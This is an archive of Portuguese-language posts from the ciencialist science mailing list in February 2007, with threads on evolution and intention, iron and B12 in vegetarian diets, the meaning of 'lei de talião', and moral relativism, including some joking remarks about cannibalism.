JR
.............................
From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 4:55 PM
Subject: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Jeff, essa sua capacidade de concluir que não há qualquer intenção
> nas adaptações do organismo ao meio ambiente é surpreendente, pois
> vai contra todas as evidências.

Surpreende talvez, contra todas as evidencias de modo algum.

Se houvesse intencao, as mutacoes seriam direcionadas.

[]s,

Roberto Takata



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SUBJECT: Re: Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 00:14

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> From: "rmtakata" <roberto.takata@To:
> Essa não é uma evidência, posto q a outra hipótese tb explica isso.

> Que outra hipótese? A evidência é que o ser sobreviveu até hoje e
> sobreviverá se não houver uma mudança brusca no meio ambiente.

A hipótese de q a sobrevivência não depende de intenção.

> JR - Não creio que haja planejamento ou intenção mas sim adaptação
> por questão, digamos, de economia energética visando manter o ser
> vivo.

Elimine a expressão "visando a" - isso é planejamento. A economia
energética é conseqüência .

> JR - Mas é exatamente isso que é ocorre na prática em um período de
> tempo maior.

Estamos falando para o projeto para o qual o engenheiro foi contratado.

[]s,

Roberto Takata



SUBJECT: Re: Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 00:16

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> As mutações seriam direcionadas para quê ou para onde?

Se houvesse intenção, as mutações seriam direcionadas de modo q a
maioria das variantes surgidas - ou a totalidade - seriam adaptativas.

> A "intenção" surge da interação com o meio ambiente, é uma contínua
> adaptação necessária do ser em manter as condições de vida,
> reduzindo, acelerando ou adequando algumas das suas atividades
> biológicas.

O melhor é manter "intenção" entre aspas.

[]s,

Roberto Takata



SUBJECT: Re: OFF Topic: a questão da carne, minha resposta
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 00:22

Ferreira et al 2006 - Dietas vegetarianas e desempenho esportivo. Rev.
Nutr. vol.19 no.4.
"O ferro não-heme, proveniente de fontes vegetais e de parte do
conteúdo total das carnes, é menos biodisponível que o ferro-heme,
encontrado em fontes animais. A eliminação de carnes e o aumento de
legumes e grãos integrais na dieta podem resultar na menor ingestão
deste mineral, assim como de zinco. Inúmeros efeitos adversos à saúde,
vinculados à menor biodisponibilidade de ferro e zinco, têm sido
demonstrados pela adoção de dietas vegetarianas. Sabe-se que essa
prática alimentar pode, até mesmo, conter mais ferro do que em dietas
não vegetarianas, mas o mineral encontra-se menos disponível para
absorção, dados as diferenças na forma química e os fatores inibidores
presentes. Apesar dos alimentos vegetais possuírem substâncias que
aumentam a captação de ferro, a adoção de dietas vegetarianas precisa
ser bem planejada para evitar a deficiência deste mineral. Assim, a
recomendação para ingestão de ferro por parte dos vegetarianos é
aumentada em 80% além da RDA. A baixa ingestão de ferro pode levar ao
quadro de anemia, interferindo de forma negativa no desempenho, à
medida que limita o transporte de oxigênio para os músculos em atividade.

Algumas pesquisas indicam que vegetarianos, especialmente vegans,
apresentam ingestão e concentração sérica de vitamina B12 (cobalamina)
inferiores aos não vegetarianos. Mas, de acordo com Johnston, casos de
deficiência desta vitamina são incomuns, mesmo entre os vegans. As
razões para tal seriam a baixa necessidade da vitamina, as reservas
relativamente grandes e uma circulação enteroepática eficiente, que
recupera a maior parte da cobalamina excretada na bile. Ainda assim, a
redução na ingestão dessa vitamina tem sido associada, nas dietas
vegetarianas (principalmente vegan), ao quadro de
hiperhomocisteinemia, sendo esse considerado um fator de risco
independente para o desenvolvimento de cardiopatias. Janelle & Barr
sugerem atenção para que quantidades necessárias da vitamina sejam
ingeridas. Suplementos orais, ou consumo de produtos enriquecidos com
cianocobalamina (forma farmacológica do nutriente), como extrato
hidrossolúvel de soja e cereais matinais, são opções que podem
auxiliar o atendimento às recomendações.

São menos freqüentes as baixas ingestões de cálcio, zinco, cobalamina
e vitamina D entre os lactoovovegetarianos, por consumirem leite e
derivados na dieta, fontes significativas desses minerais. Vegans
necessitam maior atenção para que não desenvolvam deficiências
nutricionais, o que resultaria em efeitos negativos para a saúde e,
conseqüentemente, para o desempenho atlético."
http://www.scielo.br/scielo.php?pid=S1415-52732006000400006&script=sci_arttext&tlng=en

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 00:42

Olá, Silvio! Comentários no texto após JR -, OK?
............................................
---- Original Message -----
From: "Silvio" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Cc: <Conversa_de_Botequim@yahoogrupos.com.br>;
<Acropolis_@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 10:18 PM
Subject: Re: [ciencialist] Drauzio Varella - Folha de São Paulo - 03/02/2007


Renato:

Pra não gastar muito latim, sob minha ótica evolução é uma necessidade que
os organismos desde os nomocelulares aos mais complexos como o homem evoluem
por sua intrínseca necessidade de se reproduzir e dominar o meio ambiente:
veja a evolução dos humanos, dos primatas, dos dinossauros, hoje belas
aves....
JR - A necessidade básica é sobreviver. Os que se adaptam sobrevivem os que
não são extintos. Veja os ursos que ficam quietinhos enquanto o inverno
passa! Agora que não teve um inverno típico os urso estão se adaptando ou
readaptando ao modo de viver 12 meses por ano em plena atividade.

Óbvio que não discutirei com você este assunto, seu conhecimento é muito
mais vasto do que eu que inclusive - vs. sabe - já estou com os neurônios
avariados.
JR - Mas os que ainda funcionam são espirituosos e ainda estão batendo um
bolão... Já os meus, se não tratar com disciplina a ferro e fogo, ficam
fazendo nada. Todos dois...

Não considero a evolução acompanhamento de um evento pois não temos essa
capacidade temporal para tal observação: observe que na astronomia as
motificações nas coisas do espaço são acompanhadas por comparações de
corpos, raramente se tem uma prova cabal como um cometa, a explosão de uma
estrela....

E me desculpe, mas nenhuma evolução tem um observador: os humanos, os
observadores atuais têm um tempo de vida útil bem reduzidos frente aos
problemas evolutivos. A evolução, considerando-se a vida desde o início da
biosfera já sofreu milhões de mutações com o desaparecimento de milhares ou
milhões de espécies, sendo esse a necessidade da incessante luta evolutiva
para que se mantenha o ser com a melhor condição possível.
JR - Manter-se vivo e adaptado economicamente é a razão das mutações. Mas as
pesquisas sobre mutações-adaptações podem sim ser feitas e observadas pelo
ser humano, apesar de seu curto tempo de vida. A arqueologia e o estudo dos
fósseis ajudam a estudar a evolução biológica desde há milhões de anos.

O homem, uma aberração por ter, em razão do bipedalismo uma evolução mais
acelerada, ainda se julga proprietário do planeta e transforma o ambiente em
seu bordel:
não preferiu a harmonia com os demais companheiros de jornada... Creio, caro
amigo, que no atual andamento, em 500 anos os insetos herdarão a terra...
Não existem observadores da evolução a não ser extraterrestres: existem
curiosos que fazem suposições sobre pouquíssimas evidências que a ciência
desperta.
JR - Tudo é uma questão de conscientização da nossa plena dependência do que
aí está. Se o clima sofrer alterações rápidas demais o ecosistema sofrerá e
nós que dependemos disso para sobreviver passaremos por muitos apertos...
Até aprender como viver de forma econômica no planeta.

um abraço, desculpe a prolixidade: hoje tou arretado....
JR - Tô rendo, cara!

silvio.

[]s
José Renato
...............................................
----- Original Message -----
From: Jefferson
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, February 10, 2007 9:56 AM
Subject: Re: [ciencialist] Drauzio Varella - Folha de São Paulo -
03/02/2007


>
>Olá, Silvio!
>Parece-me que o entendimento do termo *evolução* está contaminado por
>expectativas pessoais. A rigor, evolução é o acompanhamento de uma evento
>ou
>de algo minimamente definido, ao longo do tempo. Em nosso entendimento
>diário coloquial, evolução tem a conotação de crescimento, melhoria,
>expansão, concretização, aprimoramento... Mas, o termo refere-se apenas
às
>mudanças ocorrida em um período de tempo, sejam elas para "melhor" ou
para
>"pior", a critério do observador.
>

Exato, José Renato! :-) No caso dos seres vivos, os DNAs sofrem alterações
o
tempo todo, aleatoriamente, sem qualquer intenção de melhorar ou piorar.
Parte destas alterações são ruins, podendo até causar a extinção de uma
espécie, e parte são boas, favorecendo a sobrevivência de uma espécie.
Tudo
isso "sem querer".

Evolução tem a conotação de melhoria porque, obviamente, vão sobrando as
alterações que favorecem a sobrevivência das espécies, que vão se
acumulando
nos DNAs dos descendentes.

[]´,s
Jeff.



SUBJECT: Re: OFF Topic: a questão da carne, minha resposta
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 00:44

Eu tenho uma hipótese: Como nas carencias de ferro costuma aumentar a
absorção deste elemento, em cerca de quase 35% do que os 20% em
condições normais, comer carne duas vezes na semana pode promover uma
absorção maior do que se ele for ingerido diariamente, isso faz com
que quedando o ferro, ele seja reposto naturalmente durante a semana
sem quedas de ferro que represente perigo para a saúde humana. Isso
"talvez" explique porque os 70% da população não sofra de anemia, já
que o brasileiro come feijão com alguma carne durante a semana. Mas é
só uma hipotese. Também tem de se estudar a quantidade de carne a ser
consumida

Sds,Romano

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Ferreira et al 2006 - Dietas vegetarianas e desempenho esportivo. Rev.
> Nutr. vol.19 no.4.
> "O ferro não-heme, proveniente de fontes vegetais e de parte do
> conteúdo total das carnes, é menos biodisponível que o ferro-heme,
> encontrado em fontes animais. A eliminação de carnes e o aumento de
> legumes e grãos integrais na dieta podem resultar na menor ingestão
> deste mineral, assim como de zinco. Inúmeros efeitos adversos à saúde,
> vinculados à menor biodisponibilidade de ferro e zinco, têm sido
> demonstrados pela adoção de dietas vegetarianas. Sabe-se que essa
> prática alimentar pode, até mesmo, conter mais ferro do que em dietas
> não vegetarianas, mas o mineral encontra-se menos disponível para
> absorção, dados as diferenças na forma química e os fatores inibidores
> presentes. Apesar dos alimentos vegetais possuírem substâncias que
> aumentam a captação de ferro, a adoção de dietas vegetarianas precisa
> ser bem planejada para evitar a deficiência deste mineral. Assim, a
> recomendação para ingestão de ferro por parte dos vegetarianos é
> aumentada em 80% além da RDA. A baixa ingestão de ferro pode levar ao
> quadro de anemia, interferindo de forma negativa no desempenho, à
> medida que limita o transporte de oxigênio para os músculos em
atividade.
>
> Algumas pesquisas indicam que vegetarianos, especialmente vegans,
> apresentam ingestão e concentração sérica de vitamina B12 (cobalamina)
> inferiores aos não vegetarianos. Mas, de acordo com Johnston, casos de
> deficiência desta vitamina são incomuns, mesmo entre os vegans. As
> razões para tal seriam a baixa necessidade da vitamina, as reservas
> relativamente grandes e uma circulação enteroepática eficiente, que
> recupera a maior parte da cobalamina excretada na bile. Ainda assim, a
> redução na ingestão dessa vitamina tem sido associada, nas dietas
> vegetarianas (principalmente vegan), ao quadro de
> hiperhomocisteinemia, sendo esse considerado um fator de risco
> independente para o desenvolvimento de cardiopatias. Janelle & Barr
> sugerem atenção para que quantidades necessárias da vitamina sejam
> ingeridas. Suplementos orais, ou consumo de produtos enriquecidos com
> cianocobalamina (forma farmacológica do nutriente), como extrato
> hidrossolúvel de soja e cereais matinais, são opções que podem
> auxiliar o atendimento às recomendações.
>
> São menos freqüentes as baixas ingestões de cálcio, zinco, cobalamina
> e vitamina D entre os lactoovovegetarianos, por consumirem leite e
> derivados na dieta, fontes significativas desses minerais. Vegans
> necessitam maior atenção para que não desenvolvam deficiências
> nutricionais, o que resultaria em efeitos negativos para a saúde e,
> conseqüentemente, para o desempenho atlético."
>
http://www.scielo.br/scielo.php?pid=S1415-52732006000400006&script=sci_arttext&tlng=en
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: [ciencialist] Re: P/Homero, um conselho:aprenda ética primeiro...
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 00:55

Há controvérsias se Talião foi um legislador ou não. O que ficou e chegou
até nós foi a referência na sua forma de aplicar justiça: o réu, para se
redimir, sofria como pena o mesmo que tinha imposto à sua vítima. É o
popular dente por dente, olho por olho.
[]s
JR
..............................
From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 10:32 PM
Subject: [ciencialist] Re: P/Homero, um conselho:aprenda ética primeiro...


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Moisés, pode ser considerado como um legislador, tal como Hamurabi e
> Talião.

Vc está dizendo q talião foi um legislador?

[]s,

Roberto Takata



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13:23




SUBJECT: Re: P/Homero, um conselho:aprenda ética primeiro...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 01:18

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Há controvérsias se Talião foi um legislador ou não.

Talião não é nome de pessoa. Talião tem a mm base de retaliar. Vem do
latim 'talio, onis', q por sua vez deriva de 'talis, e', q significa
'tal, igual'. É o nome q se dá ao sistema de justiça em que a pena por
uma infração é a aplicação da mm ação sobre o infrator: se um sujeito
fere alguém, ele deve ser ferido como punição. Foi a base do primeiro
código escrito de leis conhecido - o de Hamurábi - e deve ter sido
aplicado muito antes do desenvolvimento da escrita. Na verdade deve
ter até mm precedido o surgimento da humanidade (ações similares são
tomadas por chimpanzés e até mm por outros mamíferos sociais - como as
hienas).

Assim, lei de talião não é uma lei desenvolvida por um sujeito chamado
Talião, do mm modo como lei da boa razão não é uma lei desenvolvida
por alguém chamado Boa Razão.

Muita gente boa ainda se engana qto a isso.

[]s,

Roberto Takata



SUBJECT: Qual o objetivo do cartesianismo?
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 02:42

At 20:32 13/2/2007, you wrote:

>--- Em
><mailto:ciencialist%40yahoogrupos.com.br>ciencialist@yahoogrupos.com.br,
>LECarvalho <lecarvalho@...>
> > >Bom senso é um dos bens mais bem distribuídos do mundo: todo mundo
> > >acha que tem.
> > >Roberto Takata
> >
> > Essa frase não é de você...
> >
> > é do Renê.
>
>A de Descartes é um pouco diferente, termina com: "ninguém deseja ter
>mais do que já possui".
>
>[]s,
>
>Roberto Takata
>
>




Então a do Descartes tem mais a ver...

com uns e outros que, depois de eu velho, querem
determinar o que hei e não hei de comer.


L.E.














=

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: A utilidade de um Pêndulo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 07:26

Olá a todos

O trabalho do prof. Veljko Milkovic com os pêndulos me deixou curioso.

Olhem o saite e os vídeos.

Sugestão de links:

http://www.veljkomilkovic.com/OscilacijeEng.html
http://www.veljkomilkovic.com/PrototipiEng.html
http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-2)_Device_for_testing.wmv
http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-6)_Universal_oscillator-hammer.wmv
http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-7)_Universal_oscillator-generator.wmv
http://www.veljkomilkovic.com/Images/Opinion_Dr_Peter_Lindemann.jpg

Os mestres poderiam tecer algum comentário sobre o assunto?

Abraços

Tipoalgo



SUBJECT: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 08:31

Romano_170,


----- Original Message -----
From: romano_170
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 3:25 PM
Subject: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )


Romano: Não concordo.

Victor: Este é um direito que você tem.

Romano_170: Existem leis naturais universais válidos pra qualquer cultura, o amor é uma delas, o ódio em qualquer cultura é prejudical, nos leva a matar
e cometer todos os tipos de atrocidades.

Victor: Mas não se trata disso, da influência do emocional, que esta é comum ao ser humano, qualquer que seja o contexto em que este esteja inserido. Mesmo assim, já que falou, o emocional é engolido pelos costumes de tal ou qual sociedade, tem seu valor minimizado ou desconsiderado quando se trata de fazer justiça, o que quer seja isso para determinada sociedade. O que achamos um destempero, uma coisa de uma crueldade sem limites, um comportante alguns milhões de vezes maior que o animalesco(que não exibe emoções, move-o apenas o instinto de preservação individual e da espécie), para outras civilizações não é, de jeito nenhum assim. Povos antigos, considerados civilizados e avançados em certos conhecimentos, como os maias ou astecas, não tinham tais ingredientes em seu cardápio do uso deles de cada dia. Era comum, muito comum, como prêmio, jogarem "bola" com a cabeça dos vencidos numa batalha! Tratava-se de uma mera diversão e o prazer do escárnio ao vencido, que perdia interiramente o valor de humano. Onde está a emoção, aí? Não sentiam ´"pena", "dó" ou tinha quaisquer sentimentos do errado, do condenável. Ainda hoje há sociedades que exibem tradições milenares bizarras, onde o o sentimento de amor, ódio, ou o que seja, nem fedem nem cheiram.

Ou seja, tais comportamentes sociais nada têm a ver com o tipo de coisa que outras sociedades possam pensar a respeito. O que uma pensa em relação à outra é absoluta e reciprocamente transparente.

Em suma, o que disse no e-mail anterior e em outros, refere-se exclusivamente ao comportamento e posturas sociais apenas naquele meio social. Referia-me, e acho que foi desnecessário explictar isso, à realidade e às verdades inerentes a tal ou qual grupamento social. O que nós, ou outras sociedades achamos a respeito em absoluto não atinge as outras, como já enfatizei, e repito agora. E estas, também, não compreendem a razão pela qual pensamos e agimos assim, que para elas está errado, é um absurdo, que estão certíssimas. Ou seja, do mesmo jeito que pensamos a respeito delas. É o tal caso: vale o vice-versa e o versa-vice. E nada podemos tascar a respeito.


Romano_170: Se as leis da física valem em qualquer lugar da Terra, as leis morais
tb são válidas a qualquer cultura. Não podemos dar como normal o
linchamento de pessoas em determinadas culturas. Pelos direitos
humanos universais, todo mundo merece um julgamento digno. Enfim, é um
assunto muito discutível

Victor: Não podemos, sob hipótese alguma, fazer comparações entre as leis da física, estas sim, universais, e "leis morais", que são de um relativismo que faz pena, conforme discutido no questionamento anterior, onde, particularmente, usei exemplos simples e possíveis de situações que mostram claramente essa maleabilidade no que se refere a conceitos do tipo discutido neste e-mail e nesta thread. São duas coisa tão diferentes quanto um ser vivo e uma pedra. Fico com a impressão de que o amigo não tem a mínima idéia do que sejam leis físicas; pois incluí-la num contexto desse tipo, buscando ancoramento para justificar uma "universalidade" de leis morais, ou que isto seja, é, queira me desculpar, no mínimo, um disparate. Pelo que denota, apenas, desconhecimento do que está tratando. Não sei sua formação. Só sei, agora, que ela nada a ver com física ou matemática. Se for filósofo, ou estudante de filosofia, pior ainda. Mas sugiro, fortemente, que, antes de fazer uma dessas tolas analogias, até por respeito aos que sabidamente não são da área científica, nem querem saber dessas coisas, embora saibam muitas outras, que os da área nem desconfiam, procure informar-se melhor a respeito de um dos objetos referenciados. Por isso, vou tirar 100 pontos de você. Será, agora, apenas "romano_70"!

Romano_70: Não podemos dar como normal o
linchamento de pessoas em determinadas culturas. Pelos direitos
humanos universais, todo mundo merece um julgamento digno. Enfim, é um
assunto muito discutível.

Victor: Repetí o texto acima, de certa forma já comentado, para tecer mais alguns comentários. Você diz: " Não podemos dar como normal o linchamento de pessoas em determinadas culturas". Embora isto não seja verdadeiro sequer para nós, que "não achamos normal", só quero lembrar que não está se tratando de acharmos ou não normal tal ou qual comportamento de determinadas culturas. Trata-se, apenas, do que esta cultura acha ou entende como certo para ela! Tratam-se de suas realidades inerentes, atreladas aos costumes e tradições daquela determinada sociedade. O certo ou errado, refere-se à cultura em si. Não ao que pensam outras culturas, que têm, de maneira igualmente corretas suas tradições e comportamentos. O que uma acha em relação a outra, vice-versa, é irrelevante. Agora, voltemos um pouquinho cá para dentro de nossa sociedade, que se arvora o direito de ter as verdades absolutas: o que pensamos, muitos de nós, ante uma atrocidade como aquela que ocorreu com o garoto João, ou com o o sequestro, estupro e assassinato de duas garotas estudantes de 10 e 13 anos, aquí em Pernambuco? Garanto uma coisa: uma boa parte da população trucidaria, sem remorsos posterioes, os bandidos que cometeram os desatinos. Ou não é assim? Mas empunhamos o cajado da justiça e da retidão para criticar comportamentos às vezes tão crueis quanto os que você cita, como base para seus argumentos. Agora, admito que há uma coisa que pode ser universal: a hipocrisia. Todos merecem um julgamento digno, você diz certo. Mas até o conceito de "julgamento digno" é varíavel também. De uma fluidez que dá gosto! Depende da sociedade, e o caráter fluídico do conceito está diretamente ligado ao que NÓS pensamos a respeito do que pensa aquela determinada sociedade.

" Enfim, é um assunto muito discutível.", conforme você conclui sua própria prosopopéia. Mas é disso que estamos tratando, durante todo o tempo.

Sds,

Victor.



Sds,Romano

--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
>
> Ricardo,
>
> Você fechou claramente o que tentei expor com exemplos, centrados em
circunstâncias igualmente claras. Moral, ética, religião,
comportamento, enfim, tudo é uma função geográfica!. Para mim,isto é
de uma clareza, sobre o que não tenho dúvidas, o que me economiza o
tempo de estar elaborando perguntas e mais perguntas. Minha realidade
é minha realidade. A de outros, é a de outros. Que só depende do lugar
e/ou das circunstâncias, como se tem corretamente enfatizado. Imagina
que eu, civilizado como penso que sou, tivesse nascido em uma tribo
brasileira, digamos, a Tupinambá. Numa guerra, aprisionei uma linda
guerreira. Ia comê-la, sim senhor! Aí, depois, viria uma batata de
perna, um... Se não fosse ela, seria eu. Bem, já almocei.
>
> Sds,
> Victor.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] E ética de cada um...
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 11:00

Olá Bruna,

Não disse que vale tudo não. Existem normas sim. Só que as normas são de
cada sociedade.

E, neste caso, eu não concordo com o Peter Singer. Neste ponto, penso como o
Bertrand Russel. Para ele a ética é subjetiva e depende do grupo social que
vivemos.

Grande abraço,

Ricardo

----- Original Message -----
From: "Bruna Carolina Ribas" <brunacribas@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 7:00 PM
Subject: Re: [ciencialist] E ética de cada um...


Se é verdade que a ética é circustancial, e não há uma ética universal.

Pode ser desfavorável para a indústria anunciar a verdade sobre tudo que
vende,
para quê rótulos e por que não aceitar alimentos geneticamente modificados?

Por que ser contra a obtenção de produtos mais baratos vindos do trabalho
escravo?

Tudo é permitido, não existe uma ética universal também não deveríamos viver
sobre leis, sobre obrigações tampouco praticando atos que contrariam a nossa
natureza animal...

Segundo Peter Singer, "...é verdade que alguns tendem ao subjetivismo
excessivo, afirmando que uma moralidade é tão boa quanto outra qualquer;
mas, quando essas mesmas pessoas são pressionadas a dizer se acreditam que a
moralidade de Hitler, ou a dos traficantes de escravos é tão boa quanto a de
Albert Schweitzer ou a de Martin Luther King, reconhecem que, afinal,
acreditam que algumas moralidades são melhores que outras" (Libertação
Animal, p. 276).







Victor <jvoneto@uol.com.br> escreveu:
Ricardo,

Você fechou claramente o que tentei expor com exemplos, centrados em
circunstâncias igualmente claras. Moral, ética, religião, comportamento,
enfim, tudo é uma função geográfica!. Para mim,isto é de uma clareza, sobre
o que não tenho dúvidas, o que me economiza o tempo de estar elaborando
perguntas e mais perguntas. Minha realidade é minha realidade. A de outros,
é a de outros. Que só depende do lugar e/ou das circunstâncias, como se tem
corretamente enfatizado. Imagina que eu, civilizado como penso que sou,
tivesse nascido em uma tribo brasileira, digamos, a Tupinambá. Numa guerra,
aprisionei uma linda guerreira. Ia comê-la, sim senhor! Aí, depois, viria
uma batata de perna, um... Se não fosse ela, seria eu. Bem, já almocei.

Sds,
Victor.

----- Original Message -----
From: Ricardo
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 2:53 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re:
Carne: enfim o método )

Como todo o respeito (mesmo), não vejo nada profundo nestes questionamentos
(sem nenhum menosprezo).

Quero dizer, pelo código de conduta implícito na moral da cultura da nossa
sociedade, não há nada demais em comer um bife, ou escravizar um cavalo
para
usá-lo como transporte.

Em outras culturas é imoral matar uma vaca ou um mosquito. Em algumas é
moral comer um ser humano.

Vejo como meramente cultural, toda a questão da ética e da moral. Posso ser
criticado por alguns aqui, mas não concordo com a visão de alguns
filósofos
de uma ética universal, absoluta.

[]s
Ricardo

----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 1:28 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re:
Carne:
enfim o método )

> Victor, não sei se voce notou mas quase todas as
> situações apontadas são extremas. È bem diferente,
> talvez da sua quando está confortavelmente posicionado
> a mesa degustando um suculento bife, não acha???
>
>
> --- jvictor <jvoneto@uol.com.br> escreveu:
>
>> Chicão,
>>
>> ----- Original Message -----
>> From: Chicao Valadares
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Monday, February 12, 2007 9:59 AM
>> Subject: Re: [ciencialist] As baratas, nossas
>> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>>
>>
>> Victor:> Como carne, de preferência carne branca.
>> É verdade,
>> >inegável, que essa coisa de matar para comer, se
>> >pensar direitinho, pode mexer um pouco com nossa
>> ética >pessoal que, como a
>> >verdade pessoal, é um conceito relativo.
>>
>> Chicão: Existe moral universal??
>>
>> Victor>> Não me referí a moral. De qualquer
>> maneira, não existe uma moral universal. Ela é
>> igualmente relativa, depende só da geografia. É como
>> religião.
>>
>> Quanto à ética, como a discutida na thread
>> encabeçada por Bruna, um exemplo poderá esclarecer o
>> que penso a respeito da maleabilidade de conceitos
>> do tipo:
>>
>> 1)Você está perdido numa floresta, com seus
>> filhos. O frio é intenso, a tropa vai morrer de
>> frio, se não houver uma providência. De repente, um
>> belo e sedoso urso surge por trás de um monte. Pele
>> lisinha,lisinha. Que poderá aquecer e salvar os
>> filhos. De minha parte, eu não teria dúvidas:
>> apontaria meu canhão ponto 50 para a testa do tal, e
>> bum!. Retiraria sua pele e salvaria meus filhos.
>> Onde está a falta de ética ou moral, nesse caso.
>>
>> 2) Você está na floresta, mas não está perdido. Vê
>> o urso. E pensa: aquela pele deve valer um bom
>> dinheiro; além disso, agradaria minha gata. E bum!,
>> no urso.
>>
>> E agora, como fica a moral e a ética, se comparada
>> ao caso anterior? Em ambos os casos, um animal foi
>> morto e sua pele usada para duas finalidades!. Em
>> qual dos casos o autor do bum! deveria ser
>> condenado?
>>
>> 3) Você não tem frio, é verão,mas está perdido na
>> floresta e seus filhos morrendo de fome. Não há nem
>> uma folhinha comestível num raio de vários
>> kilometros. Aparece o tal urso, gordinho,
>> gordinho(digamos que sua carne possa ser ingerida,
>> nunca ouvi falar não, mas admitamos isso. Se quiser,
>> substitua o urso por uma vaca bonita, gordinha
>> também). Eu, mais uma vez, não teria dúvidas, bum.
>> Um foguerinha(ou não) salvaria minha tropa.
>>
>> Onde está a quebra de moral e ética aqui? Deveria
>> ser escafedido por isso, ou discriminado?
>>
>> Os dois conceitos, portanto, são relativos, e a
>> conceituação fica a depender de vários fatores.
>> Nenhum dos conceitos é absoluto, ou universal.
>>
>> Victor> Mas é o tal caso, assume-se que é uma
>> consequência
>> do > próprio processo de vida, de subsistência.
>> Está
>> >intimamente ligada à natureza das coisas. E são
>> > processos, apenas processos. Que têm relações
>> > causais, evidentemente.
>>
>> Chicão: Por que eu não posso matar pessoas para se
>> alimentar,
>> já que faz parte do processo de alimentação???
>>
>> Victor: Bem, acho que a pergunta ficou meio fora
>> do contexto em discussão. Mas posso comentar algo.
>> Matar propriamente, não. Mas há casos, em nossa
>> sociedade não canibal (assim mesmo o canibalismo tem
>> uma origem que aponta para um uso ritualístico, em
>> função, em geral, da geografia e das crenças
>> daquela sociedade; muito menos por necessidades
>> orgânicas, e muitas das vezes como um tributo ao
>> guerreiro morto, ou para comemorar algo,como uma
>> vitória, ou para mendigar beneíficios da divindade
>> da tribo), moderna, onde houve a necessidade de
>> ingerir carne humana, de amigos e colegas já mortos,
>> como única alternativa em defesa de suas vidas. Há
>> um caso famoso, de um avião que caiu nos Andes,
>> década de 60,acho. Aquelas pessoas faltaram com a
>> ética, alí? Ou com a moral? O que você faria? Acho
>> que agiram em defesa de da vida. Mesmo assim, até
>> onde sei, foram estigmatizados, os que lograram sair
>> daquele inferno gelado. Particularmente, não os
>> condeno por isso. Agiram dentro de um esquema para o
>> qual não havia saída. Aliás,havia uma única: o
>> suicídio. Aí você seria o prato do dia! Se correr o
>> bicho pega, se ficar, o bicho come.
>>
>> Particularmente, não sei o que faria. A ocasião é
>> que diria, se eu seria comido(epa, epa, no sentido
>> alimentar), se a ética e a moral falassem mais alto
>> ou se comeria(idem,idem) alguém; Já pensou numa
>> batata de perna de alguma gordinha bonita? Ôooh!
>>
>> A ocasião faz o bicho. Darwin até poderia dar uns
>> pitáculos também, estou certo, depois de achar que
>> as coisas são assim,na natureza.
>>
>> Sds,
>> Victor.
>>
>>
>> "O Binômio de Newton é tão belo como a Vênus de
>> Milo.
>> O que há é pouca gente para dar por isso... "
>> Fernando Pessoa - Poesias de Alvaro Campos
>>
>>
>>
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> O que há é pouca gente para dar por isso... "
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SUBJECT: Células-tronco + gordura = admiráveis seios novos?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>, enigmasonline@yahoogrupos.com.br
